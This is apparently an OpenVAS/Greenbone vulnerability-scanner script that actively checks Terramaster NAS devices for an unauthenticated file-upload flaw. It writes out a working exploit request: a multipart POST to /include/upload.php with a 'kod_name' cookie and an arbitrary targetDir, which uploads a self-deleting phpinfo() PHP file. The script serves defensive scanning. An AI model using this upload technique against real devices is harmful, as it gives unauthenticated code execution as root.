Terramaster NAS File Upload Vulnerability (May 2017) - Active Check

# Copyright (C) 2017 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE_PREFIX = "cpe:/o:terra-master:";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.106839");
  script_version("2023-02-21T10:19:50+0000");
  script_tag(name:"last_modification", value:"2023-02-21 10:19:50 +0000 (Tue, 21 Feb 2023)");
  script_tag(name:"creation_date", value:"2017-05-31 10:41:50 +0700 (Wed, 31 May 2017)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Terramaster NAS File Upload Vulnerability (May 2017) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_terramaster_nas_http_detect.nasl");
  script_mandatory_keys("terramaster/nas/http/detected");
  script_require_ports("Services/www", 8181);

  script_tag(name:"summary", value:"Terramaster NAS is prone to a file upload vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP POST request to upload a php file and
  checks if phpinfo() could be executed.");

  script_tag(name:"insight", value:"If a cookie named 'kod_name' is provided it is possible to
  upload a file to an arbitrary location without any authentication.");

  script_tag(name:"impact", value:"An unauthenticated attacker may upload arbitrary files and
  execute them as root.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"https://www.evilsocket.net/2017/05/30/Terramaster-NAS-Unauthenticated-RCE-as-root/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");

if (!infos = get_app_port_from_cpe_prefix(cpe: CPE_PREFIX, service: "www"))
  exit(0);

port = infos["port"];
cpe = infos["cpe"];

if (!get_app_location(cpe: cpe, port: port, nofork: TRUE))
  exit(0);

vtstrings = get_vt_strings();
file = vtstrings["lowercase_rand"] + ".php";

bound = "---------------------------" + vtstrings["lowercase_rand"];

data = '--' + bound + '\r\n' +
       'Content-Disposition: form-data; name="file"; filename="' + file + '"\r\n\r\n' +
       '<?php phpinfo(); unlink(__FILE__); ?>\r\n' +
       '--' + bound + '--\r\n';

req = http_post_put_req(port: port, url: "/include/upload.php?targetDir=/usr/www/", data: data,
                        add_headers: make_array("Cookie", "kod_name=1",
                                                "Content-Type", "multipart/form-data; boundary=" + bound));
res = http_keepalive_send_recv(port: port, data: req);

if ('{"jsonrpc" : "2.0", "result" : null, "id" : "id"}' >< res) {
  url = "/" + file;

  if (http_vuln_check(port: port, url: url, pattern: "PHP Version", check_header: TRUE, extra_check: "PHP API")) {
    report = "It was possible to upload a PHP file and execute phpinfo(). Please delete the following file manually:";
    report += '\n' + http_report_vuln_url(port: port, url: url, url_only: TRUE);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);